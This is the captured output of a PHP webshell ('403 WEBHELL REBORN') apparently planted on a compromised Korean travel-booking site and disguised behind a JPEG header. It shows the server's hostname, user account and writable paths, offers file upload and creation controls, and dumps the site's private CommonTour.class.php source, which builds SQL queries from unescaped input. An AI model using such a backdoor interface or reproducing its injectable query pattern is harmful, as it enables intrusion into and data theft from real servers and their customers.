ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/LibClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/LibClass/CommonTour.class.php
<?
/******************************************************************************
 * 
 * 여행업무 공통 클래스
 * 
 ******************************************************************************/
 
class CommonTour{

	// Class 멤버변수
	public  $cf;
	public  $TO_CF;
	public  $TO_MB;
	public  $point_log_table = 'TB_POINT_LOG';
	
	// 생성자
	public function __construct($table_prefix) {
		global $cf , $TO_CF;
		global $TO_MB;
		
		$this->cf = $cf;
		$this->TO_CF = $TO_CF;
		$this->TO_MB = $TO_MB;

		if($table_prefix){
			$this->point_log_table = $this->point_log_table."_".$table_prefix;
		}
	}
	
	//
	// 환율목록
	// 
	public function exchangeList($rdata=array()) {
		$table = "TB_EXCHANGE";
		$data = array();
		
		$sql_where = " 0=0 " . $rdata['sql_where'];
		$sql_order = " order_num ";
		if($rdata['sql_order']) $sql_order = $rdata['sql_order'];
			
		$sql = "select * ";
		$sql .= " ,case ext_round when 'R' then '반올림'  when 'A' then '올림' when 'L' then '버림' end as ext_round2 ";
		$sql .= ",(select count(*) from good where good.exid={$table}.exid and good.exchange_fg='Y' ) as g_cnt ";
		$sql .= ",(select count(*) from TB_HOTEL  where TB_HOTEL.exid={$table}.exid and TB_HOTEL.exchange_fg='Y' ) as h_cnt ";
		$sql .=" from ".$table;
		$sql .= " where " . $sql_where;
		$sql .= " order by " . $sql_order;

		$rs = db_query($sql);

		for ($i=0 ; $row=db_fetch_array($rs) ; $i++){
			if($row['del_fg']=="N") $row['del_fg_opp'] = "Y";
			else $row['del_fg_opp'] = "N";
			
			// 사용 flag
			if ($row['del_fg'] == "N") {
				$row['del_fg_icon'] = $this->cf['icon']['start'];
				$row['del_fg_opp'] = "Y";
			} else {
				$row['del_fg_icon'] = $this->cf['icon']['stop'];
				$row['del_fg_opp'] = "N";
			}
			
			// 삭제가능 체크
			$row['is_del'] = ($row['g_cnt']>0 or $row['h_cnt']>0) ? false:true; 
			
			$data[] = $row;
		}
		return $data;
	}
	
	
	//
	// 환율적용
	//
	// params @exid : 환율테이블 ID
	// params @money : 외국환 금액
	// 
	// 주의 : 로직변경시에 관리자 js(hotel/hotel_date_reg.html(hotel_date_view.html),good/good_date_reg.html(good_date_view.html))
    //							          프로시져(SP_EXCHANGE_MONEY)도 같이변경 해 줘야함
	public  function exchangeMoney($rdata="") {
				
		if (!$rdata or !$rdata['exid'] or !$rdata['money']) return $rdata['money'];
		
		$data = $this->exchangeList(array("sql_where"=>" and exid='".$rdata['exid']."' "));
		$r = $data[0];
		
		// 환율기준정보로 변환후 리턴
		$ext_to_krw 	= (float)$r['ext_to_krw']; // 화폐교환 원(KRW)
		$ext_unit 		= (int)$r['ext_unit']; // 1000원단위,100원단위
		$ext_round 		= $r['ext_round']; // 올림(A)반올림(R)버림(L)		
		
		$ex_money=0;
		$h_money =  round((int)$rdata['money'] * $ext_to_krw);

		
		switch($ext_round) {
			case "A":// 올림
				$ex_money = ceil($h_money/$ext_unit)*$ext_unit;
				break;
			case "R":// 반올림
				$ex_money = round($h_money/$ext_unit)*$ext_unit;
				break;
			case "L":// 버림
				$ex_money = floor($h_money/$ext_unit)*$ext_unit;
				break;
		}
		return $ex_money;
	}

	//2019-10-18 원화를 각국 통화로 변환
	public  function exchangeMoney_Reverse($rdata="") {
				
		if (!$rdata or !$rdata['ext_eng'] or !$rdata['money']) return $rdata['money'];

		$data = $this->exchangeList(array("sql_where"=>" and ext_eng='".$rdata['ext_eng']."' "));
		$r = $data[0];
		
		// 환율기준정보로 변환후 리턴
		$ext_to_krw 	= (float)$r['ext_to_krw']; // 화폐교환 원(KRW)
		$ext_unit 		= (int)$r['ext_unit']; // 1000원단위,100원단위
		$ext_round 		= $r['ext_round']; // 올림(A)반올림(R)버림(L)	
		
		if(!$ext_to_krw)	$ext_to_krw  = "1";
		if(!$ext_unit)		$ext_unit = "100";
		if(!$ext_round)		$ext_round = "R";

		$ex_money=0;

		$h_money =  round((int)$rdata['money'] / $ext_to_krw,2);

		switch($ext_round) {
			case "A":// 올림
				$ex_money = ceil($h_money/$ext_unit)*$ext_unit;
				break;
			case "R":// 반올림
				$ex_money = round($h_money/$ext_unit,2)*$ext_unit;
				break;
			case "L":// 버림
				$ex_money = floor($h_money/$ext_unit)*$ext_unit;
				break;
		}

		return $ex_money;
	}
	
	
	/*
	 * [son]예약정보에 저장된 환율정보로 각국 통화로 변환
	 * TB_RES_GOOD.curunit, hwan 데이터 기준
	 */
	public  function exchangeMoney_data($rdata,$money) {
		
		if(empty($rdata) || empty($money)) return $money;		
	
		$data = $this->exchangeList(array("sql_where"=>" and ext_eng='".$rdata['curunit']."' "));
		$r = $data[0];
	
		// 환율기준정보로 변환후 리턴
		$ext_to_krw 	= (float)$rdata['ext_to_krw']; // 화폐교환 원(KRW) //////////////저장된 정보 기준
		$ext_unit 		= (int)$r['ext_unit']; // 1000원단위,100원단위
		$ext_round 		= $r['ext_round']; // 올림(A)반올림(R)버림(L)
	
		if(!$ext_to_krw)	$ext_to_krw  = "1";
		if(!$ext_unit)		$ext_unit = "100";
		if(!$ext_round)		$ext_round = "R";
	
		$ex_money=0;
	
		$h_money =  round((int)$money / $ext_to_krw,2);
	
		switch($ext_round) {
			case "A":// 올림
				$ex_money = ceil($h_money/$ext_unit)*$ext_unit;
				break;
			case "R":// 반올림
				$ex_money = round($h_money/$ext_unit,2)*$ext_unit;
				break;
			case "L":// 버림
				$ex_money = floor($h_money/$ext_unit)*$ext_unit;
				break;
		}	
	
		return $ex_money;
	}


	//
	// 상점(shop) 포인트 설정정보
	//	
	public  function shopPoint()
	{
		$sql = "select * from TB_POINT_SHOP limit 1";
		
		$r = db_fetch($sql);
		
		return $r;
	}
	
	// 
	// 적립금 입력(차감)
	//
	public function pointIns($rdata="")
	{
		global $cf;
		
		if (!$rdata or !$rdata['mode']) return false;
	
		$table = $this->point_log_table;
		
		// 설정정보
		$set_point = $this->shopPoint();
		
		if($set_point['use_yn']!="Y") return false;

		$set_point['point_join'] = $set_point["point_join_".$cf['lang']];

		switch($rdata['mode']) {
			case "mb_join_point": // 회원 가입 적립금
				if(!$rdata['mb_id']) return false;
				$data_mb = get_member($rdata['mb_id']);
				$pcont = _e("회원 가입 적립금");
				
				// 적립가능확인
				$data_ck = $this->pointList(array("sql_where"=>" and psp_case='1' and mb_id='{$data_mb[mb_id]}' "));
				if(count($data_ck) > 0 or !$data_mb['mb_id']) return false; // 회원가입 중복 적립금지 & 회원정보없음
				
				// 적립하기
				$sql = "insert into {$table}  set pp='".$set_point['point_join']."', mb_id='{$data_mb[mb_id]}', mb_nm='{$data_mb[mb_nm]}',     ";
				$sql .= "pcont='{$pcont}', psp_case='1', ins_dt=now()  ";
				
				db_query($sql);
				return true;
				
				break;
			case "mb_point_ins": // 관리자 수동 입력 적립금
				if(!$rdata['mb_id']) return false;
				$data_mb = get_member($rdata['mb_id']);
				
				if( !$data_mb['mb_id'] ) return false; // 회원정보없음
				
				// 내역
				$pcont = "관리자수동입력(".$this->TO_MB['mb_nm'].")";
				if($rdata['pcont']) $pcont = $rdata['pcont'];
				
				// 포인트
				$pp = (int)$rdata['pp'];
				$mp = (int)$rdata['mp'];
				
				// 적립하기
				$sql = "insert into {$table}  set pp='{$pp}', mp='{$mp}', mb_id='{$data_mb[mb_id]}', mb_nm='{$data_mb[mb_nm]}',     ";
				$sql .= "pcont='{$pcont}', psp_case='2', ins_dt=now(), admin_id='{$this->TO_MB[mb_id]}', admin_nm='{$this->TO_MB[mb_nm]}'   ";
				
				db_query($sql);
				return true;				
				break;
			case "tour_order_buy": // 구매에 따른 적립금 차감 , 적립 
				$good_mny 		= (int)$rdata['good_mny']; // 상품 구매가격 (적립금부분 차감)
				$good_point 		= (int)$rdata['good_point']; // 상품 구매 사용 적립금
				$mb_id 				= $rdata['mb_id'];
				$res_no_all 			= $rdata['res_no_all']; // 예약번호s
				$good_point_arr 	= $rdata['good_point_arr'];
				
				$data_mb 			= get_member($rdata['mb_id']); // 회원정보

				// 회원정보 체크
				if(!$data_mb['mb_id']) return false;
				
				// 현재 적립금 확인
				$mb_point = $this->pointTotal(array("sql_where"=>" and mb_id='".$mb_id."' "));
				if($mb_point['cur_point'] < $good_point) return false;
				
				// <<<<적립금 차감>>>>
				$pcont = _e("예약결제사용");// 내역
				$mp = $good_point;// 포인트
				
				for($i=0 ; $i<count($good_point_arr) ; $i++) {
					$arr_t = explode("||",$good_point_arr[$i]);
					$res_no = $arr_t[0];
					$mp = $arr_t[1]; // 사용되어진 포인트
					
					$tab = substr($res_no,0,1);
					
					if($mp > 0 and $res_no) {
						switch($tab) {
							case "P":
							case "D":
							case "T":
								$data_good 	= res_good_master(" and res_no='{$res_no}' ");
								$row_good		= $data_good[0];
								$pcont 			= $row_good['ev_title']; 
									
								$sql = "insert into {$table}  set  mp='{$mp}', mb_id='{$data_mb[mb_id]}', mb_nm='{$data_mb[mb_nm]}',     ";
								$sql .= "pcont='{$pcont}', psp_case='3', res_no='{$res_no}', ins_dt=now()  "; // 차감하기
								db_query($sql);
								break;
							case "L":
								$HotelReserv = new HotelReserv();
								
								$data_hotel 	= $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
								$row_hotel		= $data_hotel[0];
								$pcont 			= $row_hotel['hnm'] . " " . $row_hotel['rnm'];
								
								$sql = "insert into {$table}  set  mp='{$mp}', mb_id='{$data_mb[mb_id]}', mb_nm='{$data_mb[mb_nm]}',     ";
								$sql .= "pcont='{$pcont}', psp_case='3', res_no='{$res_no}', ins_dt=now()  "; // 차감하기
								db_query($sql);
								break;
						}	
					}
				}

				// <<<<적립예정금 적립>>>>
				$pp = 0;
				if( is_array($good_point_arr) ){
					$pcont = "예약결제적립";// 내역
					$wdata = $this->pointWillSave($good_point_arr);
				}
				for($i=0 ; $i<count($wdata['all']) ; $i++) {
					$r = $wdata['all'][$i];
					$res_no = $r[0];
					$pp = $r[1];
					if($pp>0 and $res_no) {
						// 바로적립 해주면 않되고, 출발일다음날(일실일다음날) 적용해 주기 위해 del_fg를 Y로 설정.
						$sql = "insert into {$table}  set  pp='{$pp}', mb_id='{$data_mb[mb_id]}', mb_nm='{$data_mb[mb_nm]}',     ";
						$sql .= "pcont='{$pcont}', psp_case='4', res_no='{$res_no}',del_fg='W', ins_dt=now()  "; // 차감하기
						db_query($sql);
					}
				}
				
				return true;
				break;
		}
	}
	
	// 
	// 포인트 목록
	//
	public function pointList($rdata="")
	{
		if (!$rdata or !$rdata['sql_where']) return false;
		
		$table 		= $this->point_log_table;
		$data 		= array();
		$sql_where = $rdata['sql_where'];
		
		if($rdata['sql_order']) $sql_order  = " order by ". $rdata['sql_order'];
		else $sql_order = " order by pno desc ";
		
		if($rdata['sql_limit']) $sql_limit  = " limit " . $rdata['sql_limit'];
		else $sql_limit = " limit 1000";
		
		$sql = "select *,
							case psp_case when 1 then '회원가입' when 2 then '수동적립' when 3 then '구매적립' when 4 then '예약적립' else '기타' end as psp_case_str 
		from {$table} where 0=0 {$sql_where} {$sql_order} {$sql_limit} ";
	
		$rs = db_query($sql);

		while($row = db_fetch_array($rs)) {
			$row['ins_dt2'] = substr($row['ins_dt'],0,10);
			
			$data[] = $row;	
		}
		
		return $data;
	}
	
	// 
	// 포인트 합계
	//
 	public function pointTotal($rdata="")
	{
		if (!$rdata or !$rdata['sql_where']) return false;
	
		$table = $this->point_log_table;
		
		if ($rdata['sql_where']) $sql_where = $rdata['sql_where'];
	
		$data = array();
	
		$sql = "select sum(pp) as tot_pp,sum(mp) as tot_mp,sum(pp)-sum(mp) as cur_point "; 
		$sql .= " from {$table} where del_fg='N' {$sql_where} ";
		$data = db_fetch($sql);
	
		return $data;
	}


	
	
	// 
	// 금액 분할
	//
	// params @money :  나눌금액
	// params @price_arr : 상품별가격 배열 
	// return @array
	//
	public function moneyDivide($money=0,$price_arr=array()) {
		$money 	= (int)$money;
		$div		= count($price_arr);
		
		if($money==0 or $div==0) return false;
		
		$data = array();
		
		$dmoney 		= 0; // 나눌금액분할 누적금액
		$dmoneylast	= 0; // 나눌금액분할 누적금액의 마지막은 잔여 금액으로 딱 떨어짐
		for($i=0 , $j=1 ; $i<$div ; $i++ , $j++) {
			if($dmoney >= $money) break;
			
			// 상품가격에 대해서 딱 떨어지는 array에 잔여 금액를 몰아 넣음
			$t = $price_arr[$i] - $money;
			if($t>0) {
					$data[] = $money - $dmoney - $dpricelast;
					break;
			}
			
			else{
				if($j<$div) {
					$t = round($money/$div);
					if($t < $price_arr[$i]) {
						$dmoney += $t;
						$data[] = $t;												
					} else $data[] = 0;
				}		
		
				// 마지막은 잔여 금액으로 딱 떨어짐
				else {
					$t = $money - $dmoney;
					if($t < $price_arr[$i]) {
						$dmoneylast = $t;
						$data[] = $dmoneylast;
					} else $data[] = 0;
				}
			}
		}
	
		// 나눌금액과 나눈금액의 합계가 일치하지 않을 경우 에러 리턴 
		// 상품전체 금액보다 나눌금액의 계가 큰 경우 또는 로직 에러
		if(array_sum($data)!=$money) return false;
		
		return $data;
	}
	
	//
	// 회원  적립금 사용 검증
	//
	// params @mb_id :  회원ID
	// params @pay_total : 결제금액
	// params @point :  사용할 적립금
	//	
	// 주의 : 로직변경시에 (모바일)사용자 js(mypage/tour_order.html)도 같이변경 해 줘야함	
	public function checkPointMember($rdata=array()) {
		global $cf;

		$set_point = $this->shopPoint();

		if (!$rdata['mb_id'] or !$rdata['pay_total']) return false;
		
		$pay_total = (int)$rdata['pay_total'];
		$point = (int)$rdata['point'];

		$set_point['point_use_order_min'] = $set_point["point_use_order_min_".$cf['lang']];
		$set_point['point_use_min'] = $set_point["point_use_min_".$cf['lang']];
		$set_point['point_use_max_won'] = $set_point["point_use_max_won_".$cf['lang']];
		$set_point['point_use_max_type'] = $set_point["point_use_max_type_".$cf['lang']];
		$set_point['point_use_max_per'] = $set_point["point_use_max_per_".$cf['lang']];


		$flag = true;
		$msg = "";
		$rest_point = 0;
		
		$mb_point = $this->pointTotal(array("sql_where"=>" and mb_id='".$rdata['mb_id']."' "));
		$cur_point = $mb_point['cur_point']; // 현재 적립금
		
	
		if ($point==0) {
			return array("flag"=>true,"rest_point"=>0,"good_mny"=>$pay_total);
		}
		
		if ($point > $cur_point && flag==true) {
			$msg = $cur_point.' 이상 사용하실수 없습니다.';
			$flag = false;
		}
		
		if ($pay_total < $point && $flag==true) {
			$msg = '결제금액을 초과하였습니다.';
			$flag = false;
		}
			
		// 결제가능 최소 구매금액 체크
		if ($set_point['point_use_order_min'] > $pay_total && flag==true) {
			$msg = '결제금액 '.number_format($set_point['point_use_order_min']).' 이상 부터 적립금 사용하실수 있습니다';
			$flag = false;
		}
		
		if ($point < $set_point['point_use_min'] && $set_point['point_use_min']>0 && flag==true) {
			$msg = '적립금은 '.number_format($set_point['point_use_min']).'원 이상부터 사용가능합니다.';
			$flag = false;
		}
			
		// 포인트중 xx원 이하만 사용가능
		if ($set_point['point_use_max_won'] < $point && $set_point['point_use_max_type']=='1' && $set_point['point_use_max_won']>0 && $flag==true) {
			$msg = '적립금중  '.number_format($set_point['point_use_max_won']).'원 이하만 사용가능합니다.';
			$flag = false;
		}
		
		// 결제금액의 xx%이하 결제
		if($set_point['point_use_max_per']>0 && $set_point['point_use_max_type']=='2' && $flag==true) {
			$total_dpay = round($pay_total*($set_point['point_use_max_per']/100)); // 퍼센트 환산
			if( $total_dpay < $point ) {
				$msg = '결제가능 최대 적립금은 '.number_format($total_dpay).'입니다.';
			}
		}
			
		if ($flag == false) {
			return array("flag"=>false,"msg"=>$msg);
		}
			
		$rest_point = $cur_point - $point; // 잔여 적립금
		$good_mny = $pay_total - $point; // 실 결제금


		return array("flag"=>true,"rest_point"=>$rest_point,"good_mny"=>$good_mny);
	}
	
	
	// 예약별 적립예정금액 산출
	//
	// params @good_point_arr : array("T17011916331B76||5500","P170119140270FE||6500") 예약번호||적립금액
	//
	// return 적립예정금 합계
	public function pointWillSave($good_point_arr="")
	{

		if (!$good_point_arr or !is_array($good_point_arr)) return 0;

		
		$tot_willpoint = 0; // 적립예정금 합계
		$data = array();
		
		$shop_point = $this->shopPoint();

		foreach ($good_point_arr as $v) {
			$ar = explode("||",$v);
			$res_no = $ar[0];
			$use_point = $ar[1];
			$tab = substr($res_no,0,1);
		
			switch($tab) {
				case "P":
				case "D":
				case "T":
					$data_good 	= res_good_master(" and res_no='{$res_no}' ");
					$row_good 		= res_good_master_replace($data_good[0]);
						
					$point_yn		= $row_good['date']['point_yn'];
					$point_buy1 	= (int)$row_good['date']['point_buy1'];
					$point_buy2 	= (int)$row_good['date']['point_buy2'];
					$pre_money 	= (int)$row_good['account']['pre_money'];
						
					$payprice 		= $pre_money - $use_point; // 결제금액
		
					// 포인트를 사용하는 행사
					if($point_yn=="Y" and $point_buy1>0 and $point_buy2>0) {
		
						// 적립금 사용시 추가 적립 체크
						if($shop_point['point_use_give']=="Y") {
							$willpoint = round(($pre_money/$point_buy1)*$point_buy2);
						}else{
							$willpoint = round(($payprice/$point_buy1)*$point_buy2);
						}
						
					}else{
						$willpoint = 0;
					}
					$data['all'][] = array($res_no,$willpoint);
					
					$tot_willpoint += $willpoint;
					break;
		
				case "L":
					$HotelReserv = new HotelReserv();
					
					$data_hotel 	= $HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
					$row_hotel 		= $HotelReserv->res_hotel_master_replace($data_hotel[0]);
					
					$point_yn		= $row_hotel['point_yn'];
					$point_buy1 	= (int)$row_hotel['point_buy1'];
					$point_buy2 	= (int)$row_hotel['point_buy2'];
					$pre_money 	= (int)$row_hotel['account']['pre_money'];
					
					$payprice 		= $pre_money - $use_point; // 결제금액
					
					// 포인트를 사용하는 행사
					if($point_yn=="Y" and $point_buy1>0 and $point_buy2>0) {
					
						// 적립금 사용시 추가 적립 체크
						if($shop_point['point_use_give']=="Y") {
							$willpoint = round(($pre_money/$point_buy1)*$point_buy2);
						}else{
							$willpoint = round(($payprice/$point_buy1)*$point_buy2);
						}
					
					}else{
						$willpoint = 0;
					}
					
					$data['all'][] = array($res_no,$willpoint);
					
					$tot_willpoint += $willpoint;
					
					break;
			}
		}
		$data['total'] = $tot_willpoint;
		return $data;		
	}
	
	
	//
	// 카테고리기준 상품(호텔,여행...)목록
	//
	// params @b_uid :  1차카테고리
	// params @m_uid : 2차카테고리
	// params @s_uid :  3차카테고리
	//	
	public function listGoodHotel($rdata=array())
	{
		$data = array();
		
		if(!$rdata or !$rdata['m_uid']) return $data;
		
		if ($rdata['m_uid'] and $rdata['s_uid']) {
			// 3차 카테고리
			$data_sc = TO_get_sc("",$rdata['m_uid'],$rdata['s_uid'],"N");
			$tab = $data_sc[0]['tab'];
		} else {
			// 2차 카테고리
			$data_mc = TO_get_mc($rdata['b_uid'],$rdata['m_uid'],"N");
			$tab = $data_mc[0]['tab'];
		}

		$sql_where = "";
		if ($rdata['b_uid']) $sql_where .= " and b_uid='{$rdata['b_uid']}' ";
		if ($rdata['m_uid']) $sql_where .= " and m_uid='{$rdata['m_uid']}' ";
		if ($rdata['s_uid']) $sql_where .= " and s_uid='{$rdata['s_uid']}' ";
	
		switch ($tab) {
			case "L":			
				$rs = db_query("select *, hseq as g_uid, hotel_nm as g_title from TB_HOTEL where 0=0 {$sql_where} and disp_yn='Y'  order by order_num ");
				$data = db_fetch_all($rs);
				break;
			default:
				$rs = db_query("select * from good where 0=0 {$sql_where} and g_ok='Y'  order by g_no ");
				$data = db_fetch_all($rs);
		}
		
		return $data;
	}
}

?>

Anon7 - 2021